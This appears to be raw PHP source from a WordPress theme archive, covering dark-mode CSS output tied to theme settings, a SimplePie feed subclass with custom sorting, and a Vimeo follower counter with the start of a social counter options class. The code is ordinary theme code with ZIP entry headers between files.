			$single_color_subtitle = get_theme_mod( 'penci_single_color_subtitle_s568' );
			$single_color_cat      = get_theme_mod( 'penci_single_color_cat_s568' );
			$single_color_meta     = get_theme_mod( 'penci_single_color_meta_s568' );
			if ( $single_color_title && in_array( $single_style, array( 'style-5', 'style-6', 'style-8' ) ) ) {
				echo '@media only screen and (min-width: 768px){ body.pcdm-enable .container-single.penci-single-' . $single_style . ' .single-header .post-title { color: var(--pctext-cl); } }';
			}
			if ( $single_color_subtitle && in_array( $single_style, array( 'style-5', 'style-6', 'style-8' ) ) ) {
				echo '@media only screen and (min-width: 768px){ body.pcdm-enable .container-single.penci-single-' . $single_style . ' .single-header .penci-psub-title{ color: var(--pctext-cl); } }';
			}
			if ( $single_color_cat && in_array( $single_style, array( 'style-5', 'style-6', 'style-8' ) ) ) {
				echo '@media only screen and (min-width: 768px){ body.pcdm-enable .container-single.penci-single-' . $single_style . ' .penci-single-cat .cat > a.penci-cat-name { color: var(--pctext-cl); } }';
			}
			if ( $single_color_meta && in_array( $single_style, array( 'style-5', 'style-6', 'style-8' ) ) ) {
				echo '@media only screen and (min-width: 768px){';
				echo 'body.pcdm-enable .penci-single-' . $single_style . '.penci-header-text-white .post-box-meta-single span,';
				echo 'body.pcdm-enable .penci-single-' . $single_style . '.penci-header-text-white .header-standard .author-post span a{ color: var(--pctext-cl); }';
				echo '}';
				if ( get_theme_mod( 'penci_single_accent_color' ) ) {
					echo 'body.pcdm-enable .penci-single-' . $single_style . '.penci-header-text-white .header-standard .author-post span a:hover{ color: var(--pctext-cl); }';
				}
			}
		}
		if ( 'style-10' == $single_style ) {
			if ( get_theme_mod( 'penci_single_color_bread_s10' ) ) {
				echo 'body.pcdm-enable .penci-single-style-10 .penci-container-inside.penci-breadcrumb i,body.pcdm-enable .penci-single-style-10  .container.penci-breadcrumb i,
				body.pcdm-enable .penci-single-style-10 .penci-container-inside.penci-breadcrumb a,';
				echo 'body.pcdm-enable .penci-single-style-10 .penci-container-inside.penci-breadcrumb span{ color: var(--pctext-cl) }';
			}
			if ( get_theme_mod( 'penci_single_color_title_s10' ) ) {
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard .post-title,';
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard .pc_titlebig_standard,';
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard h2 a';
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .pc_titlebig_standard a';
				echo '{ color: ' . get_theme_mod( 'penci_single_color_title_s10' ) . ' }';
			}
			if ( get_theme_mod( 'penci_single_color_subtitle_s10' ) ) {
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard h2.penci-psub-title{ color: var(--pctext-cl) }';
			}
			if ( get_theme_mod( 'penci_single_color_cat_s10' ) ) {
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .penci-standard-cat  .cat > a.penci-cat-name { color: var(--pctext-cl); }';
			}
			if ( get_theme_mod( 'penci_single_color_meta_s10' ) ) {
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .post-box-meta-single span,';
				echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard .author-post span a';
				echo '{ color: ' . get_theme_mod( 'penci_single_color_meta_s10' ) . ' }';
				if ( get_theme_mod( 'penci_single_accent_color' ) ) {
					echo 'body.pcdm-enable .penci-single-style-10.penci-header-text-white .header-standard .author-post span a:hover{ color: var(--pctext-cl); }';
				}
			}
		}
		$bquote_text_color   = get_theme_mod( 'penci_bquote_text_color' );
		$bquote_author_color = get_theme_mod( 'penci_bquote_author_color' );
		$bquote_bgcolor      = get_theme_mod( 'penci_bquote_bgcolor' );
		$bquote_border_color = get_theme_mod( 'penci_bquote_border_color' );
		if ( $bquote_text_color ) {
			echo 'body.pcdm-enable .post-entry blockquote, body.pcdm-enable .post-entry blockquote p, body.pcdm-enable .wpb_text_column blockquote, body.pcdm-enable .wpb_text_column blockquote p{ color: var(--pctext-cl) }';
		}
		if ( $bquote_author_color ) {
			echo 'body.pcdm-enable .post-entry blockquote cite, body.pcdm-enable .post-entry blockquote .author, body.pcdm-enable .wpb_text_column blockquote cite, body.pcdm-enable .wpb_text_column blockquote .author, body.pcdm-enable.woocommerce .page-description blockquote cite, body.pcdm-enable.woocommerce .page-description blockquote .author{ color: var(--pctext-cl) }';
			echo 'body.pcdm-enable .post-entry blockquote .author span:after, body.pcdm-enable .wpb_text_column blockquote .author span:after, body.pcdm-enable.woocommerce .page-description blockquote .author span:after{ background-color:var(--pcbg-cl) }';
		}
		if ( $bquote_bgcolor ) {
			echo 'body.pcdm-enable .post-entry.blockquote-style-2 blockquote{ background-color: var(--pcbg-cl) }';
		}
		if ( $bquote_border_color ) {
			echo 'body.pcdm-enable .post-entry.blockquote-style-2 blockquote:before{ background-color: var(--pcbg-cl) }';
			echo 'body.pcdm-enable .post-entry blockquote::before, body.pcdm-enable .wpb_text_column blockquote::before, body.pcdm-enable.woocommerce .page-description blockquote:before{ color: var(--pctext-cl) }';
		}
		if ( get_theme_mod( 'penci_menu_hbg_show' ) || get_theme_mod( 'penci_vertical_nav_show' ) || get_theme_mod( 'pchdbd_all' ) || get_theme_mod( 'pchdbd_homepage' ) || get_theme_mod( 'pchdbd_archive' ) || get_theme_mod( 'pchdbd_post' ) || get_theme_mod( 'pchdbd_page' ) || get_theme_mod( 'pchdbd_woocommerce' ) ) :
			$mhbg_icon_toggle_color  = get_theme_mod( 'penci_mhbg_icon_toggle_color' );
			$mhbg_icon_toggle_hcolor = get_theme_mod( 'penci_mhbg_icon_toggle_hcolor' );
			$penci_mhbg_mobilecl     = get_theme_mod( 'penci_mhbg_mobilecl' );
			$penci_mhbg_mobilebgcl   = get_theme_mod( 'penci_mhbg_mobilebgcl' );
			if ( $penci_mhbg_mobilebgcl ) {
				echo 'body.pcdm-enable .penci-vernav-toggle:before{border-top-color:var(--pcborder-cl);}';
			}
			if ( $penci_mhbg_mobilecl ) {
				echo 'body.pcdm-enable .penci-vernav-toggle svg{fill:var(--pctext-cl)}';
			}
			if ( $mhbg_icon_toggle_color ) {
				echo 'body.pcdm-enable .penci-menuhbg-toggle .lines-button:after,body.pcdm-enable .penci-menuhbg-toggle .penci-lines:before, body.pcdm-enable .penci-menuhbg-toggle .penci-lines:after{ background-color: var(--pcbg-cl) }';
			}
			if ( $mhbg_icon_toggle_hcolor ) {
				echo 'body.pcdm-enable .penci-menuhbg-toggle:hover .lines-button:after, body.pcdm-enable .penci-menuhbg-toggle:hover .penci-lines:before, body.pcdm-enable .penci-menuhbg-toggle:hover .penci-lines:after{ background-color: var(--pcbg-cl) }';
			}
			$mhbg_bgcolor            = get_theme_mod( 'penci_mhbg_bgcolor' );
			$mhbg_textcolor          = get_theme_mod( 'penci_mhbg_textcolor' );
			$mhbg_closecolor         = get_theme_mod( 'penci_mhbg_closecolor' );
			$mhbg_closehover         = get_theme_mod( 'penci_mhbg_closehover' );
			$mhbg_bordercolor        = get_theme_mod( 'penci_mhbg_bordercolor' );
			$mhbgtitle_color         = get_theme_mod( 'penci_mhbgtitle_color' );
			$mhbgdesc_hcolor         = get_theme_mod( 'penci_mhbgdesc_hcolor' );
			$mhbgsearch_border       = get_theme_mod( 'penci_mhbg_search_border' );
			$mhbgsearch_border_hover = get_theme_mod( 'penci_mhbg_search_border_hover' );
			$mhbgsearch_color        = get_theme_mod( 'penci_mhbg_search_color' );
			$mhbgsearch_icon         = get_theme_mod( 'penci_mhbg_search_icon' );
			$mhbgaccent_color        = get_theme_mod( 'penci_mhbgaccent_color' );
			$mhbgaccent_hover_color  = get_theme_mod( 'penci_mhbgaccent_hover_color' );
			$mhbgfooter_color        = get_theme_mod( 'penci_mhbgfooter_color' );
			$mhbgicon_color          = get_theme_mod( 'penci_mhbgicon_color' );
			$mhbgicon_hover_color    = get_theme_mod( 'penci_mhbgicon_hover_color' );
			$mhbgicon_border         = get_theme_mod( 'penci_mhbgicon_border' );
			$mhbgicon_border_hover   = get_theme_mod( 'penci_mhbgicon_border_hover' );
			$mhbgicon_bg             = get_theme_mod( 'penci_mhbgicon_bg' );
			$mhbgicon_bg_hover       = get_theme_mod( 'penci_mhbgicon_bg_hover' );
			if ( $mhbg_bgcolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg,body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .widget-title{background-color:var(--pcbg-cl);}';
			}
			if ( $mhbg_closecolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg-inner #penci-close-hbg:before, body.pcdm-enable .penci-menu-hbg-inner #penci-close-hbg:after{background-color:var(--pcbg-cl);}';
			}
			if ( $mhbg_closehover ) {
				echo 'body.pcdm-enable .penci-menu-hbg-inner #penci-close-hbg:hover:before, body.pcdm-enable .penci-menu-hbg-inner #penci-close-hbg:hover:after{background-color:var(--pcbg-cl);}';
			}
			if ( $mhbg_textcolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg,body.pcdm-enable .penci-menu-hbg .about-widget .about-me-heading,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget select,body.pcdm-enable .penci-menu-hbg .widget select option,';
				echo 'body.pcdm-enable .penci-menu-hbg form.pc-searchform input.search-input{ color: var(--pctext-cl) }';
			}
			if ( $mhbg_bordercolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg .widget ul li,body.pcdm-enable .penci-menu-hbg .menu li,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget-social a i,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-home-popular-posts,';
				echo 'body.pcdm-enable .penci-menu-hbg #respond textarea,';
				echo 'body.pcdm-enable .penci-menu-hbg .wpcf7 textarea,';
				echo 'body.pcdm-enable .penci-menu-hbg #respond input,';
				echo 'body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=date], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=datetime], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=email], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=month], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=number], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=password], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=range], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=search], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=tel], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=text], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=time], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=url], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=week], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form select, body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form textarea,';
				echo 'body.pcdm-enable .penci-menu-hbg .wpcf7 input,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget_wysija input,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget select,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget ul ul,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget .tagcloud a,';
				echo 'body.pcdm-enable .penci-menu-hbg #wp-calendar tbody td,';
				echo 'body.pcdm-enable .penci-menu-hbg #wp-calendar thead th,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="text"],';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="email"],';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="date"],';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="number"],';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="search"], body.pcdm-enable .widget input[type="password"], body.pcdm-enable .penci-menu-hbg form.pc-searchform input.search-input,';
				echo 'body.pcdm-enable .penci-vernav-enable.penci-vernav-poleft .penci-menu-hbg, body.pcdm-enable .penci-vernav-enable.penci-vernav-poright .penci-menu-hbg, body.pcdm-enable .penci-menu-hbg ul.sub-menu{border-color:var(--pcborder-cl);}';
			}
			if ( $mhbgtitle_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg-inner .penci-hbg_sitetitle{ color:var(--pctext-cl);}';
			}
			if ( $mhbgdesc_hcolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg-inner .penci-hbg_desc{ color:var(--pctext-cl);}';
			}
			if ( $mhbgsearch_border ) {
				echo 'body.pcdm-enable .penci-menu-hbg form.pc-searchform.penci-hbg-search-form input.search-input{ border-color:var(--pcborder-cl);}';
			}
			if ( $mhbgsearch_border_hover ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-hbg-search-form input.search-input:hover, body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input:hover, body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input:focus{ border-color:var(--pcborder-cl);}';
			}
			if ( $mhbgsearch_color ) {
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input{ color:var(--pctext-cl);}';
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input::-webkit-input-placeholder { color: var(--pctext-cl); }';
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input::-moz-placeholder { color:var(--pctext-cl); opacity: 1; }';
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input:-ms-input-placeholder { color: var(--pctext-cl); }';
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input:-moz-placeholder { color:var(--pctext-cl); opacity: 1; }';
			}
			if ( $mhbgsearch_icon ) {
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form i{ color:var(--pctext-cl);}';
			}
			if ( $mhbgaccent_color ) {
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .menu li a,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget ul.side-newsfeed li .side-item .side-item-text h4 a,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg #wp-calendar tbody td a,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget.widget_categories ul li,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget.widget_archive ul li, body.pcdm-enable .penci-menu-hbg .widget-social a i,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget-social a span,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget-social.show-text a span,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget a{ color:var(--pctext-cl);}';
			}
			if ( $mhbgaccent_hover_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .menu li a:hover,body.pcdm-enable .penci-menu-hbg .menu li a .indicator:hover';
				echo 'body.pcdm-enable .penci-menu-hbg .widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget a:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .widget-social a:hover span,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget-social a:hover span,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-tweets-widget-content .icon-tweets,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-tweets-widget-content .tweet-intents a,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-tweets-widget-content.tweet-intents span:after,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget-social.remove-circle a:hover i,';
				echo 'body.pcdm-enable .penci-menu-hbg #wp-calendar tbody td a:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg a:hover {color:var(--pctext-cl);}';
				echo 'body.pcdm-enable .penci-menu-hbg .widget .tagcloud a:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget-social a:hover i,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget .penci-user-logged-in .penci-user-action-links a:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="submit"]:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget button[type="submit"]:hover{ color: #fff; background-color: var(--pcbg-cl); border-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .about-widget .about-me-heading:before { border-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-tweets-widget-content .tweet-intents-inner:before,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-tweets-widget-content .tweet-intents-inner:after { background-color:var(--pcbg-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span { border-color:var(--pcborder-cl); background-color:var(--pcbg-cl); }';
			}
			if ( $mhbgfooter_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg-inner .penci_menu_hbg_ftext{ color:var(--pctext-cl);}';
			}
			if ( $mhbgicon_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.sidebar-nav-social a i, body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ color:var(--pctext-cl);}';
			}
			if ( $mhbgicon_hover_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.sidebar-nav-social a:hover i, body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ color:var(--pctext-cl);}';
			}
			if ( $mhbgicon_border ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ border-color:var(--pcborder-cl);}';
			}
			if ( $mhbgicon_border_hover ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ border-color:var(--pcborder-cl);}';
			}
			if ( $mhbgicon_bg ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ background-color:var(--pcbg-cl);}';
			}
			if ( $mhbgicon_bg_hover ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ background-color:var(--pcbg-cl);}';
			}
			// Widget
			$mhwidget_heading_bg           = get_theme_mod( 'penci_mhwidget_heading_bg' );
			$mhwidget_heading_outer_bg     = get_theme_mod( 'penci_mhwidget_heading_outer_bg' );
			$mhwidget_heading_bcolor       = get_theme_mod( 'penci_mhwidget_heading_bcolor' );
			$mhwidget_heading_binner_color = get_theme_mod( 'penci_mhwidget_heading_binner_color' );
			$mhwidget_heading_bcolor5      = get_theme_mod( 'penci_mhwidget_heading_bcolor5' );
			$mhwidget_heading_bcolor7      = get_theme_mod( 'penci_mhwidget_heading_bcolor7' );
			$mhwidget_bordertop_color10    = get_theme_mod( 'penci_mhwidget_bordertop_color10' );
			$mhwidget_shapes_color         = get_theme_mod( 'penci_mhwidget_shapes_color' );
			$mhwidget_bgstyle15            = get_theme_mod( 'penci_mhwidget_bgstyle15' );
			$mhwidget_iconstyle15          = get_theme_mod( 'penci_mhwidget_iconstyle15' );
			$mhwidget_cllines              = get_theme_mod( 'penci_mhwidget_cllines' );
			$mhwidget_heading_color        = get_theme_mod( 'penci_mhwidget_heading_color' );
			if ( $mhwidget_heading_bg ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow{ background-color: ' . $mhwidget_heading_bg . '; }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-2 .penci-border-arrow:after{ border-top-color: var(--pcborder-cl); }';
			}
			if ( $mhwidget_heading_outer_bg ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow:after { background-color: var(--pcbg-cl); }';
			}
			if ( $mhwidget_heading_bcolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:after,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-7 .penci-border-arrow,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-9 .penci-border-arrow { border-color:var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow:before { border-top-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-16 .penci-border-arrow:after{ background-color: var(--pcbg-cl); }';
			}
			if ( $mhwidget_heading_binner_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow:after { border-color:var(--pcborder-cl); }';
			}
			if ( $mhwidget_heading_bcolor5 ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow{ border-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-10 .penci-border-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow .inner-arrow{ border-bottom-color: var(--pcborder-cl); }';
			}
			if ( $mhwidget_heading_bcolor7 ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before,body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before{ background-color: var(--pcbg-cl); }';
			}
			if ( $mhwidget_bordertop_color10 ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-10 .penci-border-arrow{ border-top-color: var(--pcborder-cl); }';
			}
			if ( $mhwidget_shapes_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before{ border-top-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow:before,body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-12.pcalign-center .penci-border-arrow .inner-arrow:after, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:after{ border-bottom-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after{ border-right-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before{ border-left-color: var(--pcborder-cl); }';
			}
			if ( $mhwidget_bgstyle15 ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow:before{ background-color:var(--pcbg-cl); }';
			}
			if ( $mhwidget_iconstyle15 ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow:after{ color: var(--pctext-cl); }';
			}
			if ( $mhwidget_cllines ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-18 .penci-border-arrow:after{ color: var(--pctext-cl); }';
			}
			if ( $mhwidget_heading_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow { color: var(--pctext-cl); }';
			}
		endif; /* End check if enable HBG menu or Vertical Nav */
	}
}
PK     1w\WN[  [    simple_pie.phpnu [        <?php
if ( ! class_exists( 'SimplePie' ) ) {
	require_once ABSPATH . WPINC . '/class-simplepie.php';
	require_once ABSPATH . WPINC . '/class-wp-feed-cache-transient.php';
	require_once ABSPATH . WPINC . '/class-wp-simplepie-file.php';
}

class Penci_SimplePie extends SimplePie {

	/**
	 * The shortcode attributes.
	 *
	 * @access   private
	 * @var      array $sc The shortcode attributes.
	 */
	private static $sc;

	/**
	 * Whether custom sorting is enabled.
	 *
	 * @access   private
	 * @var      bool $custom_sorting Whether custom sorting is enabled.
	 */
	private static $custom_sorting = false;

	/**
	 * Initialize the class and set its properties.
	 *
	 * @access  public
	 *
	 * @param   array $sc The shortcode attributes.
	 */
	public function __construct( $sc ) {
		self::$sc = $sc;
		if ( array_key_exists( 'sort', self::$sc ) && ! empty( self::$sc['sort'] ) ) {
			if ( 'date_desc' === self::$sc['sort'] ) {
				$this->enable_order_by_date( true );
			} else {
				self::$custom_sorting = true;
			}
		}
		parent::__construct();
	}

	/**
	 * Sorting callback for items
	 *
	 * @access public
	 * @param SimplePie $a The SimplePieItem.
	 * @param SimplePie $b The SimplePieItem.
	 * @return boolean
	 */
	public static function sort_items( $a, $b ) {
		if ( self::$custom_sorting ) {
			switch ( self::$sc['sort'] ) {
				case 'title_desc':
					return $a->get_title() <= $b->get_title();
				case 'title_asc':
					return $a->get_title() > $b->get_title();
				case 'date_asc':
					return $a->get_date( 'U' ) > $b->get_date( 'U' );
			}
		}
		return parent::sort_items( $a, $b );
	}

	/**
	 * Return the filename (i.e. hash, without path and without extension) of the file to cache a given URL.
	 *
	 * @param string $url The URL of the feed to be cached.
	 * @return string A filename (i.e. hash, without path and without extension).
	 */
	public function get_cache_filename( $url ) {
		// Append custom parameters to the URL to avoid cache pollution in case of multiple calls with different parameters.
		$url .= $this->force_feed ? '#force_feed' : '';
		return call_user_func( $this->cache_name_function, $url );
	}
}PK     1w\$b  b  $  social-counter/counter-vimeo-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Vimeo_API' ) ):
	class Penci_Social_Counter_Vimeo_API {
		public static function get_count( $data, $cache_period ) {

			$page_id       = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']   = "http://vimeo.com/$page_id";
			$data['icon']  = penci_icon_by_ver( 'fab fa-vimeo-v' );
			$default_count = penci_get_social_counter_option( 'vimeo_default' );
			$cache_key     = 'penci_counter__vimeo' . $page_id;
			$vimeo_count   = $default_count ? $default_count : get_transient( $cache_key );
			if ( ! $vimeo_count ) {

				$count = self::get_vimeo_count( $page_id );

				set_transient( $cache_key, $count, $cache_period );
			} else {
				$count = $vimeo_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		private static function get_vimeo_count( $id ) {
			$status_code = @get_headers( 'https://vimeo.com/' . $id . '/following/followers/', 1 );
			$response    = array();
			if ( strpos( $status_code[0], '200' ) ) {
				$response = wp_remote_get( 'https://vimeo.com/' . $id . '/following/followers/', array(
					'timeout' => 10,
				) );
			}
			$result = 0;
			if ( ! empty( $response ) && ! is_wp_error( $response ) ) {
				$pattern = "/data-title=\"(.*?) Follower(s?)\"/";
				preg_match( $pattern, $response['body'], $matches );

				if ( ! empty( $matches[1] ) ) {
					$result = '';
					foreach ( str_split( $matches[1] ) as $char ) {
						if ( is_numeric( $char ) ) {
							$result .= $char;
						}
					}

					return (int) $result;
				}
			}

			return $result;
		}
	}

endif;
PK     1w\-M`b  `b     social-counter/admin-options.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'Penci_Social_Counter' ) ):
	class Penci_Social_Counter {

		static $list_socials = array(
			'facebook'   => 'Facebook',
			'twitter'    => 'Twitter',
			'youtube'    => 'Youtube',
			'instagram'  => 'Instagram',
			'pinterest'  => 'Pinterest',
			'flickr'     => 'Flickr',
			'vimeo'      => 'Vimeo',
			'soundcloud' => 'Soundcloud',
			'behance'    => 'Behance',
			'vk'         => 'VKontakte',
			'twitch'     => 'Twitch',
			'tiktok'     => 'Tiktok',
			'rss'        => 'RSS',
		);

		public function __construct() {
			add_filter( 'mb_settings_pages', array( $this, 'settings_pages' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'facebook_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'twitter_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'youtube_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'instagram_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'linkedin_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'pinterest_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'flickr_option' ) );
